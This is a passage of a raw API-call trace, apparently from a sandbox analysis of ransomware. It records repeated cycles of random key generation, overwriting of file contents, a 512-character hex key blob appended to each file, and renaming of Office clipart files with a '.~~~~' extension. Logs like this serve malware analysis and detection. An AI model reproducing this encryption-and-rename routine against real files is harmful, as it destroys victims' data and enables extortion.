	[0098.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29701e0 | out: hHeap=0x300000) returned 1
	[0098.804] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0098.804] GetLastError () returned 0x0
	[0098.805] GetLastError () returned 0x0
	[0098.805] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0098.805] GetLastError () returned 0x0
	[0098.805] GetLastError () returned 0x0
	[0098.841] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffed38, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.842] WriteFile (in: hFile=0xc4, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x12c8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x12c8, lpOverlapped=0x0) returned 1
	[0098.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0098.844] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.844] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.844] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.844] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.844] CloseHandle (hObject=0xc4) returned 1
	[0098.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.844] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf.~~~~")) returned 1
	[0098.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0098.846] GetLastError () returned 0x0
	[0098.846] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0098.847] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.847] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0098.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0098.847] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21883758847) returned 1
	[0098.848] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa4a07050, dwHighDateTime=0x1d60e1e)) 
	[0098.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0098.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0098.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0098.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9e18
	[0098.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9e18 | out: hHeap=0x300000) returned 1
	[0098.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285ee90
	[0098.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.848] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0098.848] GetLastError () returned 0x0
	[0098.849] GetLastError () returned 0x0
	[0098.849] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0098.849] GetLastError () returned 0x0
	[0098.849] GetLastError () returned 0x0
	[0098.869] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffdfbc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.869] WriteFile (in: hFile=0xc4, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x2044, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x2044, lpOverlapped=0x0) returned 1
	[0098.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0098.870] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.870] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.870] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.870] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.870] CloseHandle (hObject=0xc4) returned 1
	[0098.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.871] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf.~~~~")) returned 1
	[0098.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0098.872] GetLastError () returned 0x0
	[0098.873] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0098.874] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.874] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0098.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0098.875] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21886486475) returned 1
	[0098.875] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa4a53310, dwHighDateTime=0x1d60e1e)) 
	[0098.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0098.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0098.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0098.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9ec0
	[0098.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9ec0 | out: hHeap=0x300000) returned 1
	[0098.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.876] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285f058
	[0098.876] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.876] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0098.876] GetLastError () returned 0x0
	[0098.876] GetLastError () returned 0x0
	[0098.876] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0098.876] GetLastError () returned 0x0
	[0098.876] GetLastError () returned 0x0
	[0098.945] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff40c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.945] WriteFile (in: hFile=0xc4, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0xbf4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0xbf4, lpOverlapped=0x0) returned 1
	[0098.946] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0098.946] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.946] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.946] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.946] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.946] CloseHandle (hObject=0xc4) returned 1
	[0098.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.946] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf.~~~~")) returned 1
	[0099.003] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.003] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0099.003] GetLastError () returned 0x0
	[0099.004] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0099.004] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.004] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0099.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0099.005] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21899472465) returned 1
	[0099.005] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa4b37b50, dwHighDateTime=0x1d60e1e)) 
	[0099.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0099.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0099.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0099.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841bc0
	[0099.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841bc0 | out: hHeap=0x300000) returned 1
	[0099.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285f220
	[0099.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.005] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0099.005] GetLastError () returned 0x0
	[0099.005] GetLastError () returned 0x0
	[0099.005] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0099.006] GetLastError () returned 0x0
	[0099.006] GetLastError () returned 0x0
	[0099.039] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffad7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.039] WriteFile (in: hFile=0xc4, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x5285, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0x5285, lpOverlapped=0x0) returned 1
	[0099.039] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0099.039] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.040] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.040] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.040] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.040] CloseHandle (hObject=0xc4) returned 1
	[0099.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.040] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.~~~~")) returned 1
	[0099.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0099.041] GetLastError () returned 0x0
	[0099.042] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0099.043] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.043] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0099.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0099.043] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21903325938) returned 1
	[0099.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa4ba9f70, dwHighDateTime=0x1d60e1e)) 
	[0099.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0099.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0099.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0099.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841c30
	[0099.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841c30 | out: hHeap=0x300000) returned 1
	[0099.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285f940
	[0099.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.044] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0099.044] GetLastError () returned 0x0
	[0099.045] GetLastError () returned 0x0
	[0099.045] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0099.045] GetLastError () returned 0x0
	[0099.045] GetLastError () returned 0x0
	[0099.062] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff8396, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.062] WriteFile (in: hFile=0xc4, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x7c6a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0x7c6a, lpOverlapped=0x0) returned 1
	[0099.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0099.062] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.062] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.063] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.063] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.063] CloseHandle (hObject=0xc4) returned 1
	[0099.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2970f00
	[0099.070] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.~~~~")) returned 1
	[0099.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0099.071] GetLastError () returned 0x0
	[0099.071] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0099.072] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.072] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0099.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0099.072] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21906192919) returned 1
	[0099.072] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa4bf6230, dwHighDateTime=0x1d60e1e)) 
	[0099.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0099.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0099.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0099.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841d10
	[0099.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841d10 | out: hHeap=0x300000) returned 1
	[0099.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2970f00
